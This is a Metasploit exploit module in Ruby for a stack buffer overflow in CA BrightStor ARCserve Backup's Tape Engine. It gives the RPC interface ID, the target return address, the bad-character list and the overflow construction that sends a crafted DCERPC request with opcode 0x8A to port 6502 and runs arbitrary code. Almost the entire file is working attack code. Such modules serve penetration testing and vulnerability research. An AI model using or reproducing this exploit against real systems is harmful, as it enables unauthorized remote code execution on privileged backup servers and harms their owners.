##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  Rank = AverageRanking

  include Msf::Exploit::Remote::DCERPC

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
        r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
        the buffer and execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '68330'],
          [ 'URL', 'http://www.metasploit.com/users/mc' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          [ 'BrightStor ARCserve r11.5/Windows 2003',     { 'Ret' => 0x28eb6493 } ],
        ],
      'DisclosureDate' => 'Oct 4 2010',
      'DefaultTarget'  => 0))

    register_options([ Opt::RPORT(6502) ], self.class)
  end

  def exploit

    connect

    handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")

    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    request =  "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"
    request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

    dcerpc.call(0x2B, request)

    sploit =  NDR.long(4)
    sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")

    print_status("Trying target #{target.name}...")

      begin
        dcerpc_call(0x8A, sploit)
        rescue Rex::Proto::DCERPC::Exceptions::NoResponse
      end

    handler
    disconnect

  end

end
=begin
/* opcode: 0x8A, address: 0x100707D0 */

long   sub_100707D0 (
 [in] handle_t  arg_1,
 [in] long  arg_2,
 [in][ref][string] char * arg_3
);
=end